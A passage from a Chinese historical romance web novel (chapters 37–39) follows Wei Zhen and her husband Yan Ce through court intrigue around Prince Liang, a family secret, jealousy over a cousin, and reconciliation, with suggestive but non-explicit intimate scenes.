梁王妃手执茶壶,热气袅袅升腾,匀齐绿亮的雪芽在茶汤中舒展直竖,“这日铸雪芽,是卫郎年少时最爱喝的。” 卫含章喉间微动想开口说什么,又有些哽住,端起茶盏浅啜半口,叹了口气,“还同当年一样。” “卫郎说的是茶,还是人?”指尖轻抚茶盏,不待卫含章回答,梁王妃继续轻声道,“当年,是我对不住你。” “我知你有苦衷,”卫含章掌心覆上她微凉的手背,“你近些时日还好吗?” 梁王妃摇头,用绢帕掩面,拭去眼角不存在的泪,“怀山和臻姐儿的夫婿,两个孩子不知怎的起了龃龉,怀山已是吃尽了苦头,卧病多日。他是我和青儿日后的依仗,若是闹大了,闹到王爷跟前,我该如何自处。” 卫含章想说些什么,梁王妃忽然轻轻反握住他的手:“卫郎能不能同臻姐儿说和一下,不要再让那燕六郎” 不待她言尽,卫含章已颔首:“都依你。” ** 从营里回到别院,用过午膳燕策出去一趟,约莫一个多时辰后才回来。 他进屋时地上摆了好几个敞着口的箱笼,卫臻正带着侍女收整日用物件。 只留下今晚和明早必须要用到的,其余的都分门别类收起来。 卫臻把毯子也搁进箱里,忽而发觉自己已经很久没有抱着毯子哭过了,也没有再突然想要主动摸别人。 大概是因为现在燕策每天都很黏她,过于黏人了。 卫臻听脚步声知道是他,没抬头,仍蹲在地上整理衣裳,“怎的这般仓促,突然说明日就要返程,往年也是这个时候回去吗?” “昨日陛下诏太子回京,因此我们也要提早几日回去。”燕策摆手屏退了屋内侍从,“你昨日问的,我打听到了。” 卫臻手上动作停了,仰起头看他,示意他继续讲。 因为是私下议论皇室宗妇,燕策跟着在卫臻身旁蹲下,用只有二人能听见的声音道:“梁王妃母家平江辜氏,名云鸿,年三十有八。” “哪,哪个鸿?” “飞鸿的鸿。” 卫臻直直盯着他,过了几瞬才眨巴眨巴眼睫,垂下头。 好巧,父亲为阿娘起的小字叫若鸿。 脑海中有什么大胆的想法一闪而过,又被卫臻本能地否决了。 父亲爱重阿娘,所有人都知道。这个认知自小就埋在卫臻脑海里,根深蒂固。 即便是阿娘离开后,父亲也一直惦念着她,未曾续弦,也无妾室通房。 双亲恩爱,事事顺遂,因此在阿娘过世之前,卫臻的日子一直十分圆满,无忧无虑。 她的孩童时期是轻盈的,闪着光的。 不会有旁的可能。 卫臻缓缓舒出口气,继续收整衣物。 “放错了。”燕策把她手底下的衣裳轻轻|抽|走。 从那些已经放好的能看出来,卫臻是按照衣裳款式和颜色大体分类的,但眼下她把条白色的衬裙搁在了一叠黑色外袍上面。 “谁说的,我就爱这么放。”卫臻低着头把衬裙夺回来。 “为何突然关心起王妃的事?” 燕策原以为是因为段怀山,卫臻才会注意到梁王妃。 可是他忽然发觉,卫臻对梁王妃的好奇,远胜于听他讲段怀山的事。 “不能问吗?嫁与你,这也不让问那也不让问的。” 她低着头,手指无意识抠着箱子边沿的凹槽,语气强装出凶巴巴的样子,纸老虎一样。 燕策知道她在用她擅长的方式敷衍他。 等了几瞬,她始终没抬头,燕策用下颌蹭|蹭|她毛茸茸的发顶,终是没有继续逼问。 “又压|我,腿要麻了!”两个人正一齐蹲在箱笼旁,若不是有前边的箱子靠着,卫臻已经撑不住了。 燕策直接抱着她站起来,“要不要去休息会儿?” “我得盯着这些呢。”很多物件儿需要她过目,不能完全撒手交给底下人。 燕策原本是想和她一道躺会儿,闻言改口:“那我来收拾。” 卫臻人躺在榻上,看起来很是安分,声音却时不时就要飘出来一两句: “我的衣裳深色和浅色别搁在一块。” “妆匣留着让兰怀收拾,你别上手给我弄坏了。” “鞋袜方才好像踩到水了。” 燕策这才走过来,手上还拎着一双新的绫袜。 他坐在榻边把她穿着的那双褪|了,一手捏着伶仃纤|瘦的脚踝没松开,另一手作势要解|开自己腰|间革带,对她似笑非笑的:“不喜欢一个人睡?” “你,你敢。”卫臻直接拉高被子,把整张脸藏起来。 燕策没再继续逗她,给她换上绫袜,就去继续收整箱笼了。 听见人走远了,卫臻才把被子往下拉开,望着燕策和吠星一人一狗蹲在那的影子,眼皮缓缓阖上。 ** 翌日,车马劳顿回到国公府,卫臻命人套车把卫舒云送回卫府后,原想回自己院里补觉,没想到韦夫人那边来人,请他们去一同用膳。 卫臻应下,被燕策牵着往莲心堂走,“好困,今个起太早了。” “要我把你背过去吗。” 正午的日头有些大,卫臻被晒得睁不开眼,面颊红扑扑的,两只手扒拉着他胳膊,几乎是挂在上面,“不要,你走快点儿呀。” 今日回城路上,韦夫人遇见辜二太太的车架,辜家是梁王府的姻亲。 这辜二太太早些年未出阁时就与韦夫人不对付,后来各自嫁为人妇,二人也不再像年少时那般剑拔弩张,只维持着疏离的客套,从无深交。 今日这辜二太太竟一反常态,主动来找韦夫人说话,且话里话外都洋溢着股子不寻常的得意劲儿。 年轻时经历过夫家的兴衰,十几年来韦夫人这种事情上已变得极为敏锐,深知高门大户的夫人们一言一行,都有可能牵扯着朝中势力博弈。 莲心堂里,韦夫人只喊了几个亲近的儿女过来,没叫旁人。 等到小元吃饱了被嬷嬷抱走,韦夫人也搁了筷子,将辜二太太的事说与众人听。 以此提点女眷们,往后与人交际往来时,留心亲疏远近,免得一时不察,说了不当的话,“尤其是你。”这话是对燕敏说的。 燕敏只吃着自个儿跟前的菜,乖乖点头,并不在这个时候顶嘴,韦夫人又低声道:“如今太子与梁王,是个什么形势?” 屋内唯燕策一个郎君,这话自然是问他。 燕策想了想,捡能说的讲:“梁王向陛下举荐了一名道人,此人自称通晓长生之术,陛下龙颜大悦,下旨命工部修一座宫殿,专供这道人开炉炼丹,” 他一边说事情,一边把方才卫臻给他的油栗捏开,剥去上面那层涩|口的薄|衣,放回她碗里, “太子劝谏,讲战事方休未满三年,此时大兴土木,劳民伤财。陛下因此动怒,罚了太子。” 说完,燕策不动声色地看了燕姝一眼。 卫臻听了心里也惴惴,回了院里又拉着燕策问话:“梁王现下圣眷甚隆,他日后会不会” 燕策摇了摇头,又安抚道:“别怕,不会叫你有事的。” “我自是知道在府里呆着不会出什么岔子,可我就是不想让那段怀山日后爬到更高的位处。” “听翘翘的,”他哄她的语调很疏懒,仿佛不论她说什么他都能做到, “别想了,肚子不涨了就去睡一会儿,你去之前困得都要睁不开眼。” 说完微俯下|身,揉|了揉|她小|腹。 卫臻确实整个人困恹恹的,吃饱了之后就更乏了,揉|着肚子躺下。 不多时听见燕策往外走的动静,很轻,脚步声消失在门口,再旁的她就不知道了,很快滑|入梦乡。 这一觉,卫臻又梦见了段怀山,但她已经不似上次做噩梦时那般害怕了。 卫臻蓄起十成十的劲儿,搬了几座山朝段怀山砸过去,就骑着马一直跑。 今日的马儿却跑得无比的慢,路两边的景致像帐子被风触动,只摇|曳,并不往后|退去。 山,慢|悠悠|晃,川,软湉湉淌。 “快|点儿呀。”卫臻生怕被追上,紧攥着缰绳,不住地甩起马鞭催促。 催完就又听见那道散漫低哑的音: “听翘翘的。” 睁眼哪还有马的影子,是燕策。 “我睡了多久啊。”她一开口声音翁里翁气的,趴|在燕策身上打了个哈欠。 燕策抱着她,轻轻摁|了摁|她腰|窝,“不到两个时辰。” 一抬头,两个人的鼻尖就挨着,卫臻主动用唇瓣贴贴他的唇角,她难得不发怵。 乱风穿堂而过,推|开窗扇,因着卫臻在午憩,窗边帘子都落下来了。午后的风大到能把窗前蒙着的竹帘挤到一边去,挤|出个|缝。眼下竹帘被风推|着拂过窗边的粉彩观|音瓶,瓶内插着一大束四瓣小花,扑簌簌颤|了颤。乱风隔着帘子卷走窗台上掉落的花瓣,又退|了回去,唯余窗外竹叶|贴|在一起阵阵摇响。 “怎么又不”卫臻脸颊埋|在他颈|窝处,细密的眼睫一直|颤,挠|得燕策耳际发|麻。 软|趴|趴的云搁|浅在视线尽处的山头,屋内光线昏昏,又极温柔。 燕策一只手搭在眼睛上,语气里有几分无可奈何,“没吃药。”晨起时他发现随身带的药吃完了,消|耗得比他预想的还要|快。其余的药都装在回城的箱笼里,回府后又一直有事,因此今日尚未来得及吃。 这一觉休息得很好,梦中不曾生惧意,醒来一切也都合时宜,卫臻这会子便没想拿乔,她面颊红扑扑,嗯嗯|唧|唧抱着他脖颈不撒手。 燕策有些|疼,额角跳|了跳,他把人往上抱:“亲|你好不好,像之前那样。” 第37章 卫臻迷迷糊糊间,耳边倏然传来一阵哀|叫|声,吠星的。 像是被重物压|到|了,叫|声很急。 她连忙踢他肩催促:“你快去看看,是不是出什么事了。” 燕策过去后,叫|声很快就消失了,又传来阵属于小狗的“哒哒哒”走动声。 卫臻拥着锦被扬声问:“它怎么样了啊?” 燕策往净房走去,“无妨,睡麻了,给它捏|了几下就恢复了。” 他去时披了件月白色长衫,穿得并不板正,只松松地罩在肩上。 高挑的身量撑起繁复的布料,腰际用根束带随手一系,勾出道劲|窄的线条。 那根束带是她的。 就这么远远望着,他腰上的束带无比直观地向卫臻展示着二人的亲|密。 他好像是要净手,袖摆往上堆叠,露出截精|壮修长的手臂,整个人峻拔又松弛。 阖上眼睛,遮隔住那道落拓的影,耳边却还游荡着他净手的动静。 抱着蓬松的被子翻了个身。被子好像是他的,有股好闻的清冽气息,卫臻把被子越抱越|紧,整个人埋|进锦被里,深|深|嗅着。 里间窗扇未掩,方才被他打开的。窗台边粉彩观|音瓶里的浅色四瓣小花互相挨挨挤挤,未等风送,香气已被|揉|散。 燕策净过手后又去找了药吃上,稍微耽误了一会儿。 回来时卫臻已经翻了个身,整个人软|趴|趴|地躺在那,对着头顶的帐子放空愣神。 听见脚步声,她望过来,眼眸平静无波。 甚至,莫名像开悟了。 燕策:“?” 他离开之前她还不是这样的。 反差太大了。 燕策之前曾经试探过卫臻跟他在一起时有没有分神,是否刻意控制表情。 那时候急匆匆寻求答案,现下他才真正意识到,根本不用试探。 因为她假装的样子,他很轻易就能看出来。 不打他骂他,问什么都会说,声音也很甜|软。 但他知道她在装。 头一回遇到这种情况,蓦地有些挫败,寻不到对策,于是他突然抬头问她:“要去沐|浴吗。” 卫臻应了。 她应得这么干脆,燕策挫败感更重了。 都不问问他为什么。 细密的眼睫在他眼尾处投下一小片阴影,薄唇泛着|潮|意,铃铛垂在颈间,没响,只颓然晃|悠着。 卫臻猜测他之所以突然不亲她了,是因为没吃药,被病症困扰。 她知道燕策骨子里其实是个很傲的人,想起自个儿有这么个难处,心情不好也正常。 但她现下没什么宽慰人的心思,一个人着实有些累,只想收拾完早点歇息。 燕策原本想自己待一会儿,等卫臻发现他的低落主动过来找他说话。 但又看她这会子懒恹恹的,只得帮她洗漱。 ——她虽不曾主动提,但燕策看出来了,她*需要他。 洗漱完卫臻又突然让燕策把他的锦被拿走,重新换一条。 燕策也照做。 冷着脸做的。 ** 当夜,燕姝让嬷嬷把小元抱去哄睡了,独自在屋内徘徊犹豫了半个时辰,最终还是去了她在嘉会坊的宅子。 未曾提前与段修约好,能不能见面,看天意。 天意好像向着他。 “你怎么伤这么重,都这样了还来做什么。” “你来做什么,我就做什么。” 段修伤在背部,他伏在榻上,手上摩挲着个镜子,是从她妆台上拿来的,他好像并不把这伤当回事,由着燕姝检查,见她面色实在不好,才补充道:“腿又没伤,不耽误走路。” “上回见面你就伤着,这回更重了。” 他从镜子里看她一眼,“只有我受伤的时候,你才肯见我。” 燕姝其实是想劝他,梁王势头正盛,这个时候别忤逆陛下,又觉得他素来不是横冲直撞的性子,凡事都有自己的谋算,便只道:“你别只一昧地折腾,难受是你自个儿难受。” 段修应声,沉默了几瞬,忽而又问她:“元姐儿是谁的孩子?” 燕姝手攥着他衣摆,一顿,“问得好没道理,我生的,自然是我的。” “你知道我问的不是这个。” 她给他把被子盖好,“那也与你无关系。” “我这样的,你在外头养了几个?” “什什么?”燕姝怔住,他怎么能用这种措辞。 “这孩子慢慢大了,越看越不像那人, “倒像——” 段修的话未曾说尽,只慢悠悠通过手上的镜子,把自己整张脸都袒|露|给她看。 ** 翌日燕策更衣时卫臻也醒了,她打着哈欠走到衣橱前,“怎么又穿黑色的呀,你昨个穿月白多好看,上回给你做了好几身这个颜色的。” 还不等燕策接话,卫臻又自顾自想到:“罢了,都是大袖衫,你上值穿好像不怎么方便。” 燕策:“” 他又没说不穿。 她主动跟他说话了, 这是在哄他吗。 再望过去,卫臻已经和兰怀凑在一处挑她今日要穿的衣裳了。 兰怀见卫臻好像都不太满意,就道:“昨个绣庄还来人问,要不要提前选些绣样和料子,好置办夏装。” “那一会儿就传吧,”卫臻犹豫了好半晌,才在一排衣裳里选了条浅云色的百迭裙。 她好像只是在专心挑衣裳。 出门上值的时候燕策想起昨日在莲心堂用膳时卫臻爱吃油栗,就嘱咐人去让小厨房炒些送来。 依旧是冷着脸嘱咐的。 上午绣娘过来了,这回来的是另一座绣庄里的人,打头的妇人姓李。 李氏着一身得体的藕荷色斜襟衫子,发间簪着素银扁方,好看又不过分张扬,问过安就让身后的绣娘们把料子整齐摆放在桌案上。 李氏自个儿又捧了最近新上的绣样册子给卫臻看,做得很精致,风荷、云鹤、团花都是适合夏日里穿戴的。 卫臻又翻了几页,倏然间看见个很不一样的,有些像宝相花。 奇特之处在于,前边的纹样针脚都绣得平整,这一页的针脚虽也细密,花瓣却是鼓鼓的,显出几分质朴可爱。 “这个是谁做的?” 李氏忙上前来,她把这一页绣样翻过来,看了眼右下角留的标记,回话道:“是个姓苏的绣娘。” 卫臻摩挲着上边的花瓣,想见见这位苏绣娘。 李氏有些犯难:“夫人吩咐,理应照做。可又不敢欺瞒,这绣样是最近收的散货若是咱们自个儿铺子里的绣娘,定然立即就把人传来。” “无妨,明日也可。” 李氏闻言连连应下,恰好最近这苏绣娘每日都会来她这里送绣样。 卫臻把那一页留下了,又让兰怀把她的毯子找出来。 不是卫臻自己仿着做的毯子,是当年阿娘亲手给她缝制的那条。 毯子存放得很用心,用软绸布包了两层,但时隔多年,浅黄的料子已经洗到有些泛白。 卫臻轻轻抚摸过毯子上面的小花刺绣,花瓣也是这样,鼓鼓的。 和她手边的绣样,完完全全是一个绣法。 卫臻并不会这种绣法,她自己仿着做毯子时,只会把线头藏在底下,填出鼓鼓的样子。 眼下恰好看见了这绣样,想着,机缘凑巧,把绣娘叫来跟着学一学也好。 下午,卫府来人,讲卫含章找卫臻回去说话。 卫臻以为父亲惦念自己,挑了好些东西,带着去了。 没想到,卫含章是告诫她,让燕策不要再找段怀山的麻烦, “纵使你嫁入奉国公府,也不可与梁王府相抗,梁王殿下天家贵胄。” “六郎如此行事,并非无端,皆是为了女儿。” 卫臻还在犹豫,并未把话说全。 事情的起因特殊,段怀山曾经给她下药这件事,很难由女儿对着父亲言明。 正当她犹豫措辞的时候,卫含章却直接道:“无论有何缘由,日后见着梁王府的人,须得礼数周全。” 卫臻心凉了半截,父亲竟是连原因都不好奇。 她望了一眼后边博古架上装着阿娘画像的锦盒, 有些赌气般,把心底最深处,曾经一闪而过的想法翻了出来。 “父亲,您是忌惮梁王殿下,还是因为” 卫含章厉声喝止:“翘翘,为人子女,不可忤逆尊亲。” 父女俩不欢而散,谁都没把话挑开了说。 卫臻分不清自己是不是情绪上头了,往外走的时候,脑海里一直在乱糟糟地揣测。 她是在益州长大的,但父亲不是。父亲长在京里,后来才奉旨赴益州任职。 父亲只比梁王妃大一岁,不知他年少时,是否见过梁王妃。 正想着,迎面突然看见了姑母家的表兄宋凭玉,卫臻藏起面上郁色,和宋凭玉互相问安,“表兄今日怎么回来了?” “我来母亲让我来探望外祖母。” 宋凭玉见卫臻情绪不太对,想问又不知从何处开始,只得胡乱猜想卫臻是不是在国公府受委屈了,抑或是与何人生了龃龉。 燕策今日下值早,来接卫臻回去。 一来就远远看见,卫臻正靠着她那三四杆子才能打着的表兄,宋凭玉。 燕策并不急,他深知卫臻在外人面前不可能逾矩。 果然走近些就发现并没有靠一块,只是卫臻在低着头,从方才的角度看过去像靠着。 虽如此,但看俩人恰巧穿着同样颜色的衣裳站在一处,他还是有些不爽。 燕策依旧不急。 不被爱的妒夫才会患得患失乱着急。 他不需要。 卫臻只是在和她的表兄闲聊,一会儿她就会跑过来钻进他怀里了。 刚行过拐角,就见卫臻笑着抬手打了宋凭玉一下。 这下燕策停住了。 她怎么能打别的人。 第38章 卫臻强撑着笑意与宋凭玉闲聊了一会子,不多时兰怀就过来了,讲燕策来接她回去。 借机与宋凭玉道别,转过身后,卫臻唇角和肩头就齐齐耷拉下去。 走了几步,听见身后有人喊“姐姐”,这回是卫舒云。 卫舒云走近,拉着卫臻的手坐在一旁的石凳上,“姐姐,你今个不高兴吗?” 姊妹俩素来关系亲厚,卫臻在她面前更自在些,也不必佯装轻松。 确实不怎么高兴,缘由也没法讲,卫臻便揪着帕子没说话。 卫舒云又猜:“是同姐夫吵架了吗?” 突然提到燕策,卫臻下意识跟着想了想他。 燕策这两日一切如旧,至少他昨晚和今早上看起来挺正常的,让做什么就做什么,没同她说浑话逆着来。 可又不知该如何同卫舒云解释自己的失落,便只能先这么应下,“是啊。” “这可如何是好,”卫舒云犯了难,“上回跟着你去劭山玩,出发前母亲耳提面命,嘱咐我在姐夫面前千万要谨言慎行。” 她又凑近了在卫臻身边低语:“我母亲说,姐夫看起来就是个性子傲的,她很是怕你在姐夫那吃亏。” 卫臻倏然间觉得眼眶酸酸的,连卫舒云的母亲,她的大伯母,私下里都会担忧她被欺负。 可是父亲却半句话都没有关心过她,也不好奇她的任何事。 “这话你可千万别同我母亲讲,若被她知道了,定要拧我的嘴。” 卫臻闷声点点头,靠在卫舒云肩头轻轻吸了吸鼻子。 “要不姐姐今晚别回去了,跟我住在一处吧,我那里好些新的话本子呢,还有今个刚买的栗饼和五香糕,” 卫舒云年岁小,尚未出阁,能想到的哄人法子就是吃和玩, “我再让母亲做酥骨鱼吃,她一准乐意。” 卫臻听了觉得心头被人轻轻捏着,捏成皱巴巴的一团。 既是因为知道卫舒云在想办法哄自己, 也是因为忍不住羡慕她有母亲。 平日里不会总去想这些,今日在父亲那受了委屈,就听什么都想落泪。 燕策等了卫臻好一会儿她才出来。 是一直在跟宋凭玉那老小子说话吗。 有什么好聊的,俩人又没多熟。 燕策遇到烦难时不喜欢这样一个人胡乱揣测,若是公事,有的是手段解决。可与她相处并不是公事。 起初觉得能同她成婚、朝夕相处就已是人生之大幸。 可是燕策渐渐发觉自己是很贪心的,会一个劲儿得寸进尺。 尝到了好,就会想要更多的好。 同时也会因为一点点“不好”而感受到巨大的落差。 在燕策心里,与卫臻一同做任何事,都是在向她袒|露|爱意。 可是昨日发觉,此事于她,好像是可有可无的。 她会因为他中途离开而整个人彻底放空愣神,也对他突然提出的结束没有任何意见。 明知道他情绪不对,也不问问。 燕策知道自己兴许有些小题大做了。 可是她的心意,在他这,是天大的事。 一旦开始想这些,他也会患得患失不自信。 车辕碌碌,马车晃晃悠悠行驶在路上,卫臻正靠着车厢下意识回忆今日发生的事。 驶过一座拱桥,马车颠簸了一下,额头磕在内壁。 很轻微的疼,能忍。 就是猛然被磕到,平添了股子刺挠劲儿,哪哪儿都不顺眼。 卫臻蹙眉捂着额头,撩开帏帘往外看了一眼,燕策在旁边骑着马,他人高马大,坐在车厢内只能望见他的腰,看不着他的脸。 烦人,这人说是来接她,又留她一个人坐在里边。 用力把帏帘扣上,手却被窗边一根木刺扎了下。 极小,浅浅穿进透明的皮肤里,甚至都没出血。 卫臻轻轻|拔|出来,指腹被留下一个细小的孔。 怎么都捋不平整。 用帕子摁了摁,也还是那样。 情绪实在是不讲理。 不论是在父亲面前,还是和宋凭玉、卫舒云聊天,卫臻一直都没哭。 现下一个人呆在车厢里,这么一根极小的木刺就突然让她掉起泪来。 车架停在垂花门外,燕策掀开帘子,就见卫臻在用手背着急忙慌抹眼泪。 卫臻不想让人发现自己哭了。 但帕子早已经湿透,其余眼泪怎么都藏不住。 一看见他,心里那股子刺挠劲儿就开始发酸发胀,通过眼眶溢出来。 索性不藏了,自暴自弃般对他发脾气:“看不见我哭了吗!” 说完,她就哭得更凶了,满脸都是泪,睫毛被凝成一簇簇的。 燕策心中狠狠一跳,忙上去抱她。 “你这会子又过来献什么殷勤,” 卫臻一边哭,一边把眼泪往他前襟上抹, “一路上不是在外边呆得很自在吗。” “错了错了。”不管她说什么,燕策都应下,用手轻轻捧着她脸颊,想给她擦眼泪。 卫臻心里隐隐有个声音一直在劝:不关他的事,不要对他乱发脾气。 可是在外头已经憋了太久,眼下越劝就越忍不住跟理智反着来。 燕策的手发热,卫臻本就哭得面颊涨红,被他这么一捂并不舒坦,抬手用力把他往后推。 他不防,撞上后边的车厢,磕了挺重一声。 两个人都怔住了,车厢内静了静。 卫臻蓦地有些心虚,纸老虎一样泄了气。 眼泪也暂时止住,挂在眼睫上要掉不掉的。 她明明没用多大的劲儿,平时推他都推不开,这么这次就 “不要呆在这,” 卫臻声音里没什么底气,低头抠了抠自己袖口上的花纹,耳坠在颈侧细微地晃着, “一会儿就阖府都知道我在门口哭了。” 燕策视线落在她耳坠底下悬着的小绒球上, 一侧被眼泪打湿了些,没那么蓬了,扁扁的, 另一侧与她的发丝缠在一处。 怕她耳垂被扯疼,燕策倾身靠过去,轻轻给她解开。 被他虚虚拢在怀里,卫臻松了口气。 低头在他衣服上蹭了蹭,把眼角挂着的泪擦掉,而后被他牵着手带下马车。 外边的随从已经被燕策屏退,卫臻理了理裙摆,仍有些不好意思往二门内走,怕一路上被人瞧见自己眼皮红通通的样子,多丢人啊。 她把额头抵在他身前,瓮声道:“你就当我睡着了吧。” 软甜的香萦满怀,燕策深深嗅了嗅。 等了几瞬,不见他动作,卫臻抬手打他,催促道:“愣着做什么,抱我回去啊!” 被她轻飘飘打了这么一下,燕策瞬间把自己哄好了。 很难说清缘由,只知道一整日胡思乱想生出来的所有情绪都消散了。 “不想让人看见我的眼睛,若是遇见人,你就说我睡着了。”卫臻趴在他肩头嘱咐。 结果回去路上还真遇着人了。 燕敏看见俩人,直接上来喊:“嫂嫂你怎么啦。” 燕策替卫臻回答:“她说她睡着了。” 卫臻气得偷偷拧他一下。 吠星跟着燕敏一道来的,也不知道它是不是能发现卫臻在装睡,一个劲儿扑她垂下去的裙角,燕策把人往上抱了抱。 抱着卫臻往回走,燕策一路上都在后悔,今天不该同她生气。 昨天也不该。 那事于她可有可无,大抵是他做得并不是十分的好。 回到屋内坐下,燕策就开始主动认错。 其实卫臻并没有很生他的气,也只不过是心里不舒坦,想让他哄哄自己。 于是她佯装生气:“你错哪儿了。” “不该吃醋。”此时燕策还一个劲儿往她颈窝里拱,她的耳坠拂在他脸上,有些痒。 卫臻很是诧异,这都哪儿跟哪儿,她忙把人推开:“什么吃醋?” “你和那老小和表兄在一块说了好久的话。” “哪有很久?”分明只聊了一小会儿。 燕策捏了捏她绵|软的手掌心,“你还笑着打他了。” “你还敢挑我的刺儿,” 卫臻不满,细眉紧蹙着把手抽回来,不是他主动要认错吗? “况且不笑能怎么着,难道我要在外人面前哭吗——我什么时候打他了,你少拿这话压派人。” 燕策微妙地暗|爽|了一下,因为“外人”这个词。 那意思就是,他是内人。 卫臻思索片刻才知道他说的是什么:“那会儿是我簪子掉了,急着去接才不小心打到表兄,你真是不可理喻。” 亏得方才在马车上,她还因为磕疼他而愧疚。 眼下只觉得真是磕轻了。 抬头又见燕策好像在笑,落在卫臻眼里明晃晃的挑衅。 “你笑什么!” 桌上摆着一小盘油栗,卫臻捡起个朝他砸过去。 燕策顺手接住,捏开壳。 “你——” 卫臻刚要开口凶他,嘴里就被塞了个栗子仁, 只能努力先嚼嚼嚼咽下去, “你就为了这个同我生气?” “没有生气,” 他又剥了两个,一并塞进她嘴里,“好吃吗?” “你敢说没有?” 因为在咀嚼,她凶巴巴的语调没什么威慑力, “若是不曾生气,那你道什么歉?” 卫臻面颊鼓鼓的,又惦记着要骂人,嚼起来有些慢,“你真是烦人。” 一连被他塞了好几个栗子仁,才想起来打他,“我嚼不过来了!” 燕策笑着给她倒了盏茶,卫臻啜了两口顺了顺。 “那回府的路上,你一直在外边就是因为这个?” 平时只要马车上没有别的女眷在,他都是主动凑上来跟她挨一块的。 “也不全是,还有——”燕策脖颈到下颌有些泛红,他往后靠在椅背上,观察她的反应。 还有? 卫臻没想到,只是想对他发发脾气,就诈出来这么多有的没的。 意外收获真不少。 见他吞吞吐吐的,她用膝盖撞他一下,被燕策顺势用腿|夹|住了。 卫臻往后退了两下没挣脱开,索性不同他挣了,直接把脸朝旁边一扭,不再看他:“别让我再生气。” 第39章 燕策笑着松开她,但依旧没讲话,只是靠在那看她。 他在打腹稿。 “你这副高高在上的样子,哪里像道歉了。” 燕策好笑道:“我怎么高高在上了,” 他伸手把她抱到腿上,“翘翘最高。” 卫臻戳戳他心口,把人往后推,提醒他别顺杆爬靠太近, “还有方才,你说你不该吃醋,可你句句都在等等,你吃谁的醋?” 他方才好像只提了宋凭玉一个人, “该不会是我表兄吧。” 燕策一手摩|挲在她后腰,微微颔首,默认了。 “你好不讲理,我们只是表兄妹。” 话说到一半,卫臻想起,当初燕策兄长去世后, 有那么两回,祖母和大伯母都曾经私下里问过她觉得表兄这个人如何,该不会 甭管两位长辈当初有没有那个意思,但是燕策今天说的话让卫臻意识到:在旁人眼里,表兄妹亦是可以婚配的关系。 思及此处,卫臻半点都接受不了,连连摇头。 “我可没有那么多弯弯绕绕。”她正坐在他腿上,燕策又把一条腿|抬|起来,卫臻现下比他略高一点, 她抬手抵着他额头,迫使燕策仰着头看她。 卫臻应当是故意端出了凶巴巴的表情,但是,从燕策现在的角度看过去,只觉得她可爱。 面庞白净细腻,鼻尖小巧挺翘,眼睫扑簌簌,黝黑的瞳仁里只装着他的影子。 燕策扬起下颌想凑上去亲她, 狗叫声适时传来。 卫臻低头看,吠星“哒哒哒”跑近了,老老实实在椅子旁蹲下,像个小板凳。 她撑着燕策的肩膀,弯腰去抱小狗,他的吻偏|离,薄唇堪|堪贴着她面颊擦|过去。 燕策:“” 卫臻把吠星搁在燕策腰上,它的爪刚擦过,胖胖宽宽的,趾间的毛干净柔软,但被擦得有些乱糟糟,像小团棉絮。 她一边捏它的爪子玩,一边催促,“你想好没有啊,还有别的没说呢。” 燕策见她头也不抬地在玩狗,狗的尾巴还在左右乱甩着打他, 于是放弃考虑措辞,用无比直白的话语把昨日的缘由讲了。 “你——”卫臻听了,不知道该先捂吠星的耳朵还是先捂他的嘴,“只准你一个人,不准我吗?” 从耳根到脖颈,卫臻整张脸笼上大片的|红,有几分是因为自|娱而本|能地羞|赧,也有几分是恼怒,乱糟糟地一连骂了他好几句。 燕策对新事物的接受能力很强,从卫臻的只言片语里,他有了模糊的猜测。 但他没问她自己猜的对不对,只问她怎么那么早。 卫臻捂着吠星的耳朵骂他: “什么早啊快啊的,我的事你少打听!” 总不能说是因为那之前被他亲了太久所以才。他会蹬鼻子上脸吧。 一定会的,向来如此。 从她的反应,燕策知道,自己猜对了。 但他没来得及继续问,这场谈话很快结束于卫臻抱着吠星跑出去。 卫臻感觉燕策的态度很需要被纠正,竟然敢因为昨晚莫名其妙有情绪,真是倒反天罡。 她自己的事,她说了算。 他的事,她也要说了算。 可燕策很擅长当场借题发挥、胡搅蛮缠。 卫臻不行,她会被他带沟里。 她是那种一紧张就不知道该如何骂人的,经常事|后一个人暗自后悔没发挥好。 防止再次在口舌上落下风,只能先跑了。 用膳时燕策习惯性坐在卫臻旁边,她也不许,“你坐对面!” 他乖乖坐过去。 “也不准抬头看我!” 燕策觉得她这幅紧张的样子好笑,一一应了。 刚用完晚膳,前院又来人找燕策。 他出门前卫臻正坐在玫瑰椅上,用小锥戳晒干的刺玫果。 听见燕策的脚步声消失在门外,卫臻把刺玫果丢进茶盏内。 热水倾入,白雾袅袅升腾,她一边搅着盏内的小果子,一边思索着待会儿该如何做。 燕策去了一个多时辰,回来后屋内不见卫臻的影,净|房那边传来阵阵|水|声。 桌上放着她喝了一半的茶,茶盏中飘着几个圆圆的刺玫果,还有些山林果切成的薄片。 燕策端起来尝了一口,水已经凉尽了,仍旧很甜,是她喜欢的味|道。 解了外袍,燕策去净|房找她,很意外,卫臻没赶他走,反而主动抱着他哼哼|唧|唧。 二人额头相|抵,呼吸交|缠,她唇间满是刺玫果的香,比杯盏中的茶还要甜。 他太喜欢在|后|面抱着她,往常卫臻愿意的时候,会主动找桌沿靠着,今日亦是,甚至还主动关心他方才出去|做什么了,问他上值累不累。 ——她好像已经不生气了。 燕策心头一片柔|软,妄|念不|偏不|倚,但只一瞬。“怎么了?”他侧过脸去,亲|了亲|她唇角,以为她是不小心。 卫臻转过身来抱着他,趴|在他怀里翁声道:“想去榻|上歇下。” 燕策自然无有不应,他抱着她的步子迈得很|急,路上碰|到桌角也没管。 锦被刚晒过,蓬|松柔|软,卫臻半边脸颊陷|进|柔|软的被面,燕策随手拿了两个软枕给她。 卫臻接过来却放到一边去了,扯过被子搭在身上。 “已经可以了,”燕策能感受到她明|晃|晃的情|意,以为她在撒|娇,于是俯|身问她:“是要我亲|你吗?” “我不想。”卫臻面颊红|扑|扑的,拥着被子坐在那,突然仰着头拒|绝他。 可是她刚才明明—— 反复确认了几遍,燕策才后知后觉意识到,卫臻好像不是在撒|娇,是要|罚|他。 罚|他也没关系,只要不是不理他。 说是罚, 但卫臻知道,燕策整个|人的需|求和情绪都很|重,心高性|傲的, 很难被人|约|束。 “不难。”燕策道。 于他而言,并非约|束。 被她牵|引着,远胜于信马由缰。 帐外一灯如豆,光影明明灭灭, 细密眼睫在他昳丽的面庞上拉出很|长|一道影,卫臻坐在燕策身上,解|下自己发间缎带,遮住了他漂亮浓|烈的眉眼线条。 燕策面前刮起一小阵风,香气|充|盈,像她的头发。 但又更为馥|郁,也像她晚上在喝的刺玫果泡的茶。 暖黄的灯烛,在帐子外飘成一捧云,软|茸|茸的,好似,连他身上的冷戾亦可以消|解。 燕策视线被发带完全遮|隔,又隐隐约约可以感|应到眼前的明暗变化, 